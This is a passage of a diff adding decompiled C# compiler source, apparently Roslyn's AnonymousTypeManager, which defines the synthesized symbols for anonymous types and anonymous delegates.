includeBackingField) + { + _containingType = container; + _typeWithAnnotations = fieldTypeWithAnnotations; + _name = field.Name; + _index = index; + _locations = locations; + _getMethod = new AnonymousTypePropertyGetAccessorSymbol(this); + _backingField = (includeBackingField ? new AnonymousTypeFieldSymbol(this) : null); + } + + public override bool Equals(Symbol obj, TypeCompareKind compareKind) + { + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + if (obj == null) + { + return false; + } + if ((object)this == obj) + { + return true; + } + if (!(obj is AnonymousTypePropertySymbol anonymousTypePropertySymbol)) + { + return false; + } + if ((object)anonymousTypePropertySymbol != null && anonymousTypePropertySymbol.Name == Name) + { + return anonymousTypePropertySymbol.ContainingType.Equals(ContainingType, compareKind); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(ContainingType.GetHashCode(), Name.GetHashCode()); + } + } + + private abstract class SynthesizedMethodBase : SynthesizedInstanceMethodSymbol + { + private readonly NamedTypeSymbol _containingType; + + private readonly string _name; + + internal sealed override bool GenerateDebugInfo => false; + + public sealed override int Arity => 0; + + public sealed override Symbol ContainingSymbol => _containingType; + + public override NamedTypeSymbol ContainingType => _containingType; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public sealed override Accessibility DeclaredAccessibility => (Accessibility)6; + + public sealed override bool IsStatic => false; + + public sealed override bool IsVirtual => false; + + public sealed override bool IsAsync => false; + + internal sealed override MethodImplAttributes ImplementationAttributes => MethodImplAttributes.IL; + + internal sealed override CallingConvention CallingConvention => (CallingConvention)32; + + public sealed override bool IsExtensionMethod => false; + + public sealed override bool HidesBaseMethodsByName => false; + + public sealed override bool IsVararg => false; + + public sealed override FlowAnalysisAnnotations ReturnTypeFlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + public sealed override ImmutableHashSet ReturnNotNullIfParameterNotNull => ImmutableHashSet.Empty; + + public sealed override ImmutableArray TypeArgumentsWithAnnotations => ImmutableArray.Empty; + + public sealed override ImmutableArray TypeParameters => ImmutableArray.Empty; + + internal sealed override bool IsExplicitInterfaceImplementation => false; + + public sealed override ImmutableArray ExplicitInterfaceImplementations => ImmutableArray.Empty; + + internal sealed override bool IsDeclaredReadOnly => false; + + internal sealed override bool IsInitOnly => false; + + public sealed override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public override Symbol AssociatedSymbol => null; + + public sealed override bool IsAbstract => false; + + public sealed override bool IsSealed => false; + + public sealed override bool IsExtern => false; + + public sealed override string Name => _name; + + protected AnonymousTypeManager Manager + { + get + { + if (!(_containingType is AnonymousTypeTemplateSymbol anonymousTypeTemplateSymbol)) + { + return ((AnonymousTypePublicSymbol)_containingType).Manager; + } + return anonymousTypeTemplateSymbol.Manager; + } + } + + internal sealed override bool RequiresSecurityObject => false; + + internal sealed override MarshalPseudoCustomAttributeData ReturnValueMarshallingInformation => null; + + internal sealed override bool HasDeclarativeSecurity => false; + + internal override bool SynthesizesLoweredBoundBody => true; + + protected override bool HasSetsRequiredMembersImpl + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/AnonymousTypes/SynthesizedSymbols/AnonymousType.SynthesizedMethodBase.cs", 235); + } + } + + public SynthesizedMethodBase(NamedTypeSymbol containingType, string name) + { + _containingType = containingType; + _name = name; + } + + internal sealed override bool IsMetadataNewSlot(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + Symbol.AddSynthesizedAttribute(ref attributes, Manager.Compilation.TrySynthesizeAttribute((WellKnownMember)70)); + } + + public sealed override DllImportData GetDllImportData() + { + return null; + } + + internal sealed override IEnumerable GetSecurityInformation() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/AnonymousTypes/SynthesizedSymbols/AnonymousType.SynthesizedMethodBase.cs", 207); + } + + internal sealed override ImmutableArray GetAppliedConditionalSymbols() + { + return ImmutableArray.Empty; + } + + protected SyntheticBoundNodeFactory CreateBoundNodeFactory(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + return new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)this.GetNonNullSyntaxNode(), compilationState, diagnostics) + { + CurrentFunction = this + }; + } + + internal sealed override int CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/AnonymousTypes/SynthesizedSymbols/AnonymousType.SynthesizedMethodBase.cs", 232); + } + } + + internal sealed class AnonymousTypeTemplateSymbol : AnonymousTypeOrDelegateTemplateSymbol + { + private readonly ImmutableArray _typeParameters; + + private readonly ImmutableArray _members; + + internal readonly ImmutableArray SpecialMembers; + + internal readonly ImmutableArray Properties; + + private readonly MultiDictionary _nameToSymbols = new MultiDictionary(); + + internal override string TypeDescriptorKey { get; } + + public override TypeKind TypeKind => (TypeKind)2; + + internal override bool HasDeclaredRequiredMembers => false; + + internal override NamedTypeSymbol BaseTypeNoUseSiteDiagnostics => Manager.System_Object; + + public override ImmutableArray TypeParameters => _typeParameters; + + public override IEnumerable MemberNames => _nameToSymbols.Keys; + + internal AnonymousTypeTemplateSymbol(AnonymousTypeManager manager, AnonymousTypeDescriptor typeDescr) + : base(manager, typeDescr.Location) + { + TypeDescriptorKey = typeDescr.Key; + int length = typeDescr.Fields.Length; + ArrayBuilder instance = ArrayBuilder.GetInstance(length * 3 + 1); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(length); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(length); + for (int i = 0; i < length; i++) + { + AnonymousTypeField field = typeDescr.Fields[i]; + AnonymousTypeParameterSymbol anonymousTypeParameterSymbol = new AnonymousTypeParameterSymbol(this, i, GeneratedNames.MakeAnonymousTypeParameterName(field.Name)); + instance3.Add((TypeParameterSymbol)anonymousTypeParameterSymbol); + AnonymousTypePropertySymbol anonymousTypePropertySymbol = new AnonymousTypePropertySymbol(this, field, TypeWithAnnotations.Create(anonymousTypeParameterSymbol), i); + instance2.Add(anonymousTypePropertySymbol); + instance.Add((Symbol)anonymousTypePropertySymbol); + instance.Add((Symbol)anonymousTypePropertySymbol.BackingField); + instance.Add((Symbol)anonymousTypePropertySymbol.GetMethod); + } + _typeParameters = instance3.ToImmutableAndFree(); + Properties = instance2.ToImmutableAndFree(); + instance.Add((Symbol)new AnonymousTypeConstructorSymbol(this, Properties)); + _members = instance.ToImmutableAndFree(); + ImmutableArray.Enumerator enumerator = _members.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + _nameToSymbols.Add(current.Name, current); + } + SpecialMembers = ImmutableArray.Create(new AnonymousTypeEqualsMethodSymbol(this), new AnonymousTypeGetHashCodeMethodSymbol(this), new AnonymousTypeToStringMethodSymbol(this)); + } + + internal AnonymousTypeKey GetAnonymousTypeKey() + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + return new AnonymousTypeKey(ImmutableArrayExtensions.SelectAsArray(Properties, (Func)((AnonymousTypePropertySymbol p) => new AnonymousTypeKeyField(p.Name, false, false))), false); + } + + public override ImmutableArray GetMembers() + { + return _members; + } + + internal override IEnumerable GetFieldsToEmit() + { + ImmutableArray.Enumerator enumerator = GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 6) + { + yield return (FieldSymbol)current; + } + } + } + + public override ImmutableArray GetMembers(string name) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + ValueSet val = _nameToSymbols[name]; + ArrayBuilder instance = ArrayBuilder.GetInstance(val.Count); + Enumerator enumerator = val.GetEnumerator(); + try + { + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + instance.Add(current); + } + } + finally + { + ((IDisposable)enumerator/*cast due to constrained. prefix*/).Dispose(); + } + return instance.ToImmutableAndFree(); + } + + internal override ImmutableArray InterfacesNoUseSiteDiagnostics(ConsList basesBeingResolved) + { + return ImmutableArray.Empty; + } + + internal override ImmutableArray GetInterfacesToEmit() + { + return ImmutableArray.Empty; + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + Symbol.AddSynthesizedAttribute(ref attributes, Manager.Compilation.TrySynthesizeAttribute((WellKnownMember)112)); + if ((int)((CompilationOptions)Manager.Compilation.Options).OptimizationLevel == 0) + { + Symbol.AddSynthesizedAttribute(ref attributes, TrySynthesizeDebuggerDisplayAttribute()); + } + } + + private SynthesizedAttributeData TrySynthesizeDebuggerDisplayAttribute() + { + //IL_00ea: Unknown result type (might be due to invalid IL or missing references) + //IL_0107: Unknown result type (might be due to invalid IL or missing references) + string text; + if (Properties.Length == 0) + { + text = "\\{ }"; + } + else + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + builder.Append("\\{ "); + int num = Math.Min(Properties.Length, 10); + for (int i = 0; i < num; i++) + { + string name = Properties[i].Name; + if (i > 0) + { + builder.Append(", "); + } + builder.Append(name); + builder.Append(" = {"); + builder.Append(name); + builder.Append("}"); + } + if (Properties.Length > num) + { + builder.Append(" ..."); + } + builder.Append(" }"); + text = instance.ToStringAndFree(); + } + return Manager.Compilation.TrySynthesizeAttribute((WellKnownMember)67, ImmutableArray.Create(new TypedConstant((ITypeSymbolInternal)(object)Manager.System_String, (TypedConstantKind)1, (object)text)), ImmutableArray.Create(new KeyValuePair((WellKnownMember)68, new TypedConstant((ITypeSymbolInternal)(object)Manager.System_String, (TypedConstantKind)1, (object)"")))); + } + } + + internal sealed class NameAndIndex + { + public readonly string Name; + + public readonly int Index; + + public NameAndIndex(string name, int index) + { + Name = name; + Index = index; + } + } + + internal abstract class AnonymousTypeOrDelegateTemplateSymbol : NamedTypeSymbol + { + private NameAndIndex? _nameAndIndex; + + private Location _smallestLocation; + + internal readonly AnonymousTypeManager Manager; + + internal abstract string TypeDescriptorKey { get; } + + internal Location SmallestLocation => _smallestLocation; + + internal NameAndIndex? NameAndIndex + { + get + { + return _nameAndIndex; + } + set + { + Interlocked.CompareExchange(ref _nameAndIndex, value, null); + } + } + + internal sealed override bool HasCodeAnalysisEmbeddedAttribute => false; + + internal sealed override bool IsInterpolatedStringHandlerType => false; + + public sealed override Symbol ContainingSymbol => Manager.Compilation.SourceModule.GlobalNamespace; + + public sealed override string Name => _nameAndIndex.Name; + + internal sealed override bool HasSpecialName => false; + + public sealed override bool IsImplicitlyDeclared => true; + + public sealed override bool IsAbstract => false; + + public sealed override bool IsRefLikeType => false; + + public sealed override bool IsReadOnly => false; + + public sealed override bool IsSealed => true; + + public sealed override bool MightContainExtensionMethods => false; + + public sealed override bool AreLocalsZeroed => ContainingModule.AreLocalsZeroed; + + public sealed override Accessibility DeclaredAccessibility => (Accessibility)4; + + internal sealed override bool IsInterface => false; + + public sealed override ImmutableArray Locations => ImmutableArray.Empty; + + public sealed override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public sealed override bool IsStatic => false; + + public sealed override NamedTypeSymbol ConstructedFrom => this; + + internal abstract override NamedTypeSymbol BaseTypeNoUseSiteDiagnostics { get; } + + internal sealed override bool MangleName => Arity > 0; + + internal sealed override bool IsFileLocal => false; + + internal sealed override FileIdentifier? AssociatedFileIdentifier => null; + + internal sealed override ImmutableArray TypeArgumentsWithAnnotationsNoUseSiteDiagnostics => GetTypeParametersAsTypeArguments(); + + public sealed override int Arity => TypeParameters.Length; + + internal sealed override bool ShouldAddWinRTMembers => false; + + internal sealed override bool IsWindowsRuntimeImport => false; + + internal sealed override bool IsComImport => false; + + internal sealed override ObsoleteAttributeData? ObsoleteAttributeData => null; + + internal sealed override TypeLayout Layout => default(TypeLayout); + + internal sealed override CharSet MarshallingCharSet => base.DefaultMarshallingCharSet; + + public sealed override bool IsSerializable => false; + + internal sealed override bool HasDeclarativeSecurity => false; + + internal sealed override NamedTypeSymbol? NativeIntegerUnderlyingType => null; + + internal sealed override bool IsRecord => false; + + internal sealed override bool IsRecordStruct => false; + + internal AnonymousTypeOrDelegateTemplateSymbol(AnonymousTypeManager manager, Location location) + { + Manager = manager; + _smallestLocation = location; + _nameAndIndex = null; + } + + protected sealed override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/AnonymousTypes/SynthesizedSymbols/AnonymousType.TypeOrDelegateTemplateSymbol.cs", 55); + } + + internal void AdjustLocation(Location location) + { + Location smallestLocation; + do + { + smallestLocation = _smallestLocation; + } + while ((!(smallestLocation != (Location)null) || ((Compilation)Manager.Compilation).CompareSourceLocations(smallestLocation, location) >= 0) && Interlocked.CompareExchange(ref _smallestLocation, location, smallestLocation) != smallestLocation); + } + + internal sealed override ImmutableArray GetEarlyAttributeDecodingMembers() + { + return GetMembersUnordered(); + } + + internal sealed override ImmutableArray GetEarlyAttributeDecodingMembers(string name) + { + return GetMembers(name); + } + + public sealed override ImmutableArray GetTypeMembers() + { + return ImmutableArray.Empty; + } + + public sealed override ImmutableArray GetTypeMembers(ReadOnlyMemory name) + { + return ImmutableArray.Empty; + } + + public sealed override ImmutableArray GetTypeMembers(ReadOnlyMemory name, int arity) + { + return ImmutableArray.Empty; + } + + internal sealed override NamedTypeSymbol GetDeclaredBaseType(ConsList basesBeingResolved) + { + return Manager.System_Object; + } + + internal sealed override ImmutableArray GetDeclaredInterfaces(ConsList basesBeingResolved) + { + return ImmutableArray.Empty; + } + + internal sealed override IEnumerable GetSecurityInformation() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/AnonymousTypes/SynthesizedSymbols/AnonymousType.TypeOrDelegateTemplateSymbol.cs", 296); + } + + internal sealed override ImmutableArray GetAppliedConditionalSymbols() + { + return ImmutableArray.Empty; + } + + internal sealed override AttributeUsageInfo GetAttributeUsageInfo() + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return AttributeUsageInfo.Null; + } + + internal sealed override NamedTypeSymbol AsNativeInteger() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/AnonymousTypes/SynthesizedSymbols/AnonymousType.TypeOrDelegateTemplateSymbol.cs", 309); + } + + internal sealed override bool HasPossibleWellKnownCloneMethod() + { + return false; + } + + internal sealed override IEnumerable<(MethodSymbol Body, MethodSymbol Implemented)> SynthesizedInterfaceMethodImpls() + { + return SpecializedCollections.EmptyEnumerable<(MethodSymbol, MethodSymbol)>(); + } + + internal sealed override bool HasInlineArrayAttribute(out int length) + { + length = 0; + return false; + } + + internal sealed override bool HasCollectionBuilderAttribute(out TypeSymbol? builderType, out string? methodName) + { + builderType = null; + methodName = null; + return false; + } + } + + internal sealed class AnonymousTypeParameterSymbol : TypeParameterSymbol + { + private readonly Symbol _container; + + private readonly int _ordinal; + + private readonly string _name; + + public override TypeParameterKind TypeParameterKind => (TypeParameterKind)0; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override int Ordinal => _ordinal; + + public override string Name => _name; + + public override bool HasConstructorConstraint => false; + + public override bool HasReferenceTypeConstraint => false; + + public override bool IsReferenceTypeFromConstraintTypes => false; + + internal override bool? ReferenceTypeConstraintIsNullable => false; + + public override bool HasNotNullConstraint => false; + + internal override bool? IsNotNullable => null; + + public override bool HasValueTypeConstraint => false; + + public override bool IsValueTypeFromConstraintTypes => false; + + public override bool HasUnmanagedTypeConstraint => false; + + public override bool IsImplicitlyDeclared => true; + + public override VarianceKind Variance => (VarianceKind)0; + + public override Symbol ContainingSymbol => _container; + + public AnonymousTypeParameterSymbol(Symbol container, int ordinal, string name) + { + _container = container; + _ordinal = ordinal; + _name = name; + } + + internal override void EnsureAllConstraintsAreResolved() + { + } + + internal override ImmutableArray GetConstraintTypes(ConsList inProgress) + { + return ImmutableArray.Empty; + } + + internal override ImmutableArray GetInterfaces(ConsList inProgress) + { + return ImmutableArray.Empty; + } + + internal override NamedTypeSymbol GetEffectiveBaseClass(ConsList inProgress) + { + return null; + } + + internal override TypeSymbol GetDeducedBaseType(ConsList inProgress) + { + return null; + } + } + + private ConcurrentDictionary _lazyAnonymousTypeTemplates; + + private ConcurrentDictionary _lazyAnonymousDelegates; + + public CSharpCompilation Compilation { get; } + + public NamedTypeSymbol System_Object => Compilation.GetSpecialType((SpecialType)1); + + public NamedTypeSymbol System_Void => Compilation.GetSpecialType((SpecialType)6); + + public NamedTypeSymbol System_Boolean => Compilation.GetSpecialType((SpecialType)7); + + public NamedTypeSymbol System_String => Compilation.GetSpecialType((SpecialType)20); + + public NamedTypeSymbol System_Int32 => Compilation.GetSpecialType((SpecialType)13); + + public NamedTypeSymbol System_IntPtr => Compilation.GetSpecialType((SpecialType)21); + + public NamedTypeSymbol System_MulticastDelegate => Compilation.GetSpecialType((SpecialType)3); + + public NamedTypeSymbol System_Diagnostics_DebuggerBrowsableState => Compilation.GetWellKnownType((WellKnownType)197); + + public MethodSymbol System_Object__Equals => Compilation.GetSpecialTypeMember((SpecialMember)98) as MethodSymbol; + + public MethodSymbol System_Object__ToString => Compilation.GetSpecialTypeMember((SpecialMember)100) as MethodSymbol; + + public MethodSymbol System_Object__GetHashCode => Compilation.GetSpecialTypeMember((SpecialMember)97) as MethodSymbol; + + public MethodSymbol System_Collections_Generic_EqualityComparer_T__Equals => Compilation.GetWellKnownTypeMember((WellKnownMember)57) as MethodSymbol; + + public MethodSymbol System_Collections_Generic_EqualityComparer_T__GetHashCode => Compilation.GetWellKnownTypeMember((WellKnownMember)58) as MethodSymbol; + + public MethodSymbol System_Collections_Generic_EqualityComparer_T__get_Default => Compilation.GetWellKnownTypeMember((WellKnownMember)59) as MethodSymbol; + + public MethodSymbol System_String__Format_IFormatProvider => Compilation.GetWellKnownTypeMember((WellKnownMember)353) as MethodSymbol; + + private ConcurrentDictionary AnonymousTypeTemplates + { + get + { + if (_lazyAnonymousTypeTemplates == null) + { + ConcurrentDictionary concurrentDictionary = Compilation.PreviousSubmission?.AnonymousTypeManager.AnonymousTypeTemplates; + Interlocked.CompareExchange(ref _lazyAnonymousTypeTemplates, (concurrentDictionary == null) ? new ConcurrentDictionary() : new ConcurrentDictionary(concurrentDictionary), null); + } + return _lazyAnonymousTypeTemplates; + } + } + + private ConcurrentDictionary AnonymousDelegates + { + get + { + if (_lazyAnonymousDelegates == null) + { + ConcurrentDictionary concurrentDictionary = Compilation.PreviousSubmission?.AnonymousTypeManager._lazyAnonymousDelegates; + Interlocked.CompareExchange(ref _lazyAnonymousDelegates, (concurrentDictionary == null) ? new ConcurrentDictionary() : new ConcurrentDictionary(concurrentDictionary), null); + } + return _lazyAnonymousDelegates; + } + } + + internal AnonymousTypeManager(CSharpCompilation compilation) + { + Compilation = compilation; + } + + public NamedTypeSymbol ConstructAnonymousTypeSymbol(AnonymousTypeDescriptor typeDescr) + { + return new AnonymousTypePublicSymbol(this, typeDescr); + } + + public NamedTypeSymbol ConstructAnonymousDelegateSymbol(AnonymousTypeDescriptor typeDescr) + { + return new AnonymousDelegatePublicSymbol(this, typeDescr); + } + + internal static PropertySymbol GetAnonymousTypeProperty(NamedTypeSymbol type, int index) + { + return ((AnonymousTypePublicSymbol)type).Properties[index]; + } + + internal static ImmutableArray GetAnonymousTypeFieldTypes(NamedTypeSymbol type) + { + return ImmutableArrayExtensions.SelectAsArray(((AnonymousTypeOrDelegatePublicSymbol)type).TypeDescriptor.Fields, (Func)((AnonymousTypeField f) => f.TypeWithAnnotations)); + } + + public static NamedTypeSymbol ConstructAnonymousTypeSymbol(NamedTypeSymbol type, ImmutableArray newFieldTypes) + { + AnonymousTypePublicSymbol anonymousTypePublicSymbol = (AnonymousTypePublicSymbol)type; + return anonymousTypePublicSymbol.Manager.ConstructAnonymousTypeSymbol(anonymousTypePublicSymbol.TypeDescriptor.WithNewFieldsTypes(newFieldTypes)); + } + + public bool ReportMissingOrErroneousSymbols(BindingDiagnosticBag diagnostics) + { + bool hasError = false; + ReportErrorOnSymbol(System_Object, diagnostics, ref hasError); + ReportErrorOnSymbol(System_Void, diagnostics, ref hasError); + ReportErrorOnSymbol(System_Boolean, diagnostics, ref hasError); + ReportErrorOnSymbol(System_String, diagnostics, ref hasError); + ReportErrorOnSymbol(System_Int32, diagnostics, ref hasError); + ReportErrorOnSpecialMember(System_Object__Equals, (SpecialMember)98, diagnostics, ref hasError); + ReportErrorOnSpecialMember(System_Object__ToString, (SpecialMember)100, diagnostics, ref hasError); + ReportErrorOnSpecialMember(System_Object__GetHashCode, (SpecialMember)97, diagnostics, ref hasError); + ReportErrorOnWellKnownMember(System_String__Format_IFormatProvider, (WellKnownMember)353, diagnostics, ref hasError); + ReportErrorOnWellKnownMember(System_Collections_Generic_EqualityComparer_T__Equals, (WellKnownMember)57, diagnostics, ref hasError); + ReportErrorOnWellKnownMember(System_Collections_Generic_EqualityComparer_T__GetHashCode, (WellKnownMember)58, diagnostics, ref hasError); + ReportErrorOnWellKnownMember(System_Collections_Generic_EqualityComparer_T__get_Default, (WellKnownMember)59, diagnostics, ref hasError); + return hasError; + } + + public bool ReportMissingOrErroneousSymbolsForDelegates(BindingDiagnosticBag diagnostics) + { + bool hasError = false; + ReportErrorOnSymbol(System_Object, diagnostics, ref hasError); + ReportErrorOnSymbol(System_IntPtr, diagnostics, ref hasError); + ReportErrorOnSymbol(System_MulticastDelegate, diagnostics, ref hasError); + return hasError; + } + + private static void ReportErrorOnSymbol(Symbol symbol, BindingDiagnosticBag diagnostics, ref bool hasError) + { + if ((object)symbol != null) + { + hasError |= diagnostics.ReportUseSite(symbol, NoLocation.Singleton); + } + } + + private static void ReportErrorOnSpecialMember(Symbol symbol, SpecialMember member, BindingDiagnosticBag diagnostics, ref bool hasError) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + if ((object)symbol == null) + { + MemberDescriptor descriptor = SpecialMembers.GetDescriptor(member); + diagnostics.Add(ErrorCode.ERR_MissingPredefinedMember, NoLocation.Singleton, ((MemberDescriptor)(ref descriptor)).DeclaringTypeMetadataName, descriptor.Name); + hasError = true; + } + else + { + ReportErrorOnSymbol(symbol, diagnostics, ref hasError); + } + } + + private static void ReportErrorOnWellKnownMember(Symbol symbol, WellKnownMember member, BindingDiagnosticBag diagnostics, ref bool hasError) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + if ((object)symbol == null) + { + MemberDescriptor descriptor = WellKnownMembers.GetDescriptor(member); + diagnostics.Add(ErrorCode.ERR_MissingPredefinedMember, NoLocation.Singleton, ((MemberDescriptor)(ref descriptor)).DeclaringTypeMetadataName, descriptor.Name); + hasError = true; + } + else + { + ReportErrorOnSymbol(symbol, diagnostics, ref hasError); + ReportErrorOnSymbol(symbol.ContainingType, diagnostics, ref hasError); + } + } + + [Conditional("DEBUG")] + private void CheckSourceLocationSeen(AnonymousTypePublicSymbol anonymous) + { + } + + internal AnonymousDelegateTemplateSymbol SynthesizeDelegate(int parameterCount, RefKindVector refKinds, bool returnsVoid, int generation) + { + SynthesizedDelegateKey key = new SynthesizedDelegateKey(parameterCount, refKinds, returnsVoid, generation); + if (AnonymousDelegates.TryGetValue(key, out var value)) + { + return value; + } + value = new AnonymousDelegateTemplateSymbol(this, key.Name, System_Object, Compilation.GetSpecialType((SpecialType)21), returnsVoid ? Compilation.GetSpecialType((SpecialType)6) : null, parameterCount, refKinds); + return AnonymousDelegates.GetOrAdd(key, value); + } + + private NamedTypeSymbol ConstructAnonymousDelegateImplementationSymbol(AnonymousDelegatePublicSymbol anonymous, int generation) + { + //IL_01f8: Unknown result type (might be due to invalid IL or missing references) + AnonymousTypeDescriptor typeDescriptor = anonymous.TypeDescriptor; + if (allValidTypeArguments(Compilation.SourceModule.UseUpdatedEscapeRules, typeDescriptor, out var needsIndexedName)) + { + ImmutableArray fields = typeDescriptor.Fields; + bool flag = fields[fields.Length - 1].Type.IsVoidType(); + int num = fields.Length - (flag ? 1 : 0); + ArrayBuilder instance = ArrayBuilder.GetInstance(num); + for (int i = 0; i < num; i++) + { + AnonymousTypeField anonymousTypeField = fields[i]; + if (anonymousTypeField.IsParams) + { + instance.Add(((ArrayTypeSymbol)anonymousTypeField.Type).ElementTypeWithAnnotations); + } + else + { + instance.Add(anonymousTypeField.TypeWithAnnotations); + } + } + ImmutableArray typeArguments = instance.ToImmutableAndFree(); + if (needsIndexedName) + { + ImmutableArray newFieldTypes = IndexedTypeParameterSymbol.Take(num); + int length = fields.Length; + if (length >= 2) + { + AnonymousTypeField anonymousTypeField2 = fields[length - 2]; + if (anonymousTypeField2.IsParams) + { + int index = num - 1; + TypeWithAnnotations elementTypeWithAnnotations = TypeWithAnnotations.Create(newFieldTypes[index].Type); + TypeWithAnnotations item = TypeWithAnnotations.Create(((ArrayTypeSymbol)anonymousTypeField2.Type).WithElementType(elementTypeWithAnnotations)); + newFieldTypes = newFieldTypes.SetItem(index, item); + } + } + if (flag) + { + newFieldTypes = newFieldTypes.Add(fields[fields.Length - 1].TypeWithAnnotations); + } + AnonymousTypeDescriptor typeDescr = typeDescriptor.WithNewFieldsTypes(newFieldTypes); + SynthesizedDelegateKey synthesizedDelegateKey = new SynthesizedDelegateKey(typeDescr); + return ConcurrentDictionaryExtensions.GetOrAdd(AnonymousDelegates, synthesizedDelegateKey, (Func)((SynthesizedDelegateKey synthesizedDelegateKey2, AnonymousTypeManager @this) => new AnonymousDelegateTemplateSymbol(@this, synthesizedDelegateKey2.TypeDescriptor)), this).Construct(typeArguments); + } + RefKindVector refKinds = default(RefKindVector); + if (fields.Any((AnonymousTypeField f) => (int)f.RefKind > 0)) + { + refKinds = RefKindVector.Create(num); + for (int num2 = 0; num2 < num; num2++) + { + refKinds[num2] = fields[num2].RefKind; + } + } + AnonymousDelegateTemplateSymbol anonymousDelegateTemplateSymbol = SynthesizeDelegate(fields.Length - 1, refKinds, flag, generation); + if (typeArguments.Length != 0) + { + return anonymousDelegateTemplateSymbol.Construct(typeArguments); + } + return anonymousDelegateTemplateSymbol; + } + ImmutableArray referencedTypeParameters = GetReferencedTypeParameters(typeDescriptor); + SynthesizedDelegateKey key = getTemplateKey(typeDescriptor, referencedTypeParameters); + if (!AnonymousDelegates.TryGetValue(key, out var value)) + { + value = AnonymousDelegates.GetOrAdd(key, new AnonymousDelegateTemplateSymbol(this, typeDescriptor, referencedTypeParameters)); + } + if (value.Manager == this) + { + value.AdjustLocation(typeDescriptor.Location); + } + if (referencedTypeParameters.Length != 0) + { + return value.Construct(referencedTypeParameters); + } + return value; + static bool allValidTypeArguments(bool useUpdatedEscapeRules, AnonymousTypeDescriptor anonymousTypeDescriptor, out bool reference) + { + reference = false; + ImmutableArray fields2 = anonymousTypeDescriptor.Fields; + int length2 = fields2.Length; + for (int j = 0; j < length2 - 1; j++) + { + if (!isValidTypeArgument(useUpdatedEscapeRules, fields2[j], ref reference)) + { + return false; + } + } + AnonymousTypeField field = fields2[length2 - 1]; + if (!field.Type.IsVoidType()) + { + return isValidTypeArgument(useUpdatedEscapeRules, field, ref reference); + } + return true; + } + static SynthesizedDelegateKey getTemplateKey(AnonymousTypeDescriptor typeDescr2, ImmutableArray typeParameters) + { + if (typeParameters.Length > 0) + { + TypeMap map = new TypeMap(typeParameters, IndexedTypeParameterSymbol.Take(typeParameters.Length), allowAlpha: true); + typeDescr2 = typeDescr2.SubstituteTypes(map, out var _); + } + return new SynthesizedDelegateKey(typeDescr2); + } + static bool hasDefaultScope(bool useUpdatedEscapeRules, AnonymousTypeField field) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Invalid comparison between Unknown and I4 + if (field.HasUnscopedRefAttribute) + { + return false; + } + ScopedKind scope = field.Scope; + bool flag2 = ParameterHelpers.IsRefScopedByDefault(useUpdatedEscapeRules, field.RefKind); + if ((int)scope != 0) + { + if ((int)scope == 1 && flag2) + { + return true; + } + } + else if (!flag2) + { + return true; + } + return false; + } + static bool isValidTypeArgument(bool useUpdatedEscapeRules, AnonymousTypeField field, ref bool reference) + { + reference = reference || field.IsParams || field.DefaultValue != null; + if (hasDefaultScope(useUpdatedEscapeRules, field)) + { + TypeSymbol type = field.Type; + if ((object)type != null && !type.IsPointerOrFunctionPointer()) + { + return !type.IsRestrictedType(); + } + } + return false; + } + } + + private static ImmutableArray GetReferencedTypeParameters(AnonymousTypeDescriptor typeDescr) + { + PooledHashSet instance = PooledHashSet.GetInstance(); + ImmutableArray.Enumerator enumerator = typeDescr.Fields.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.TypeWithAnnotations.VisitType(null, null, delegate(TypeSymbol type, PooledHashSet referenced, bool _) + { + if (type is TypeParameterSymbol item) + { + ((HashSet)(object)referenced).Add(item); + } + return false; + }, instance, 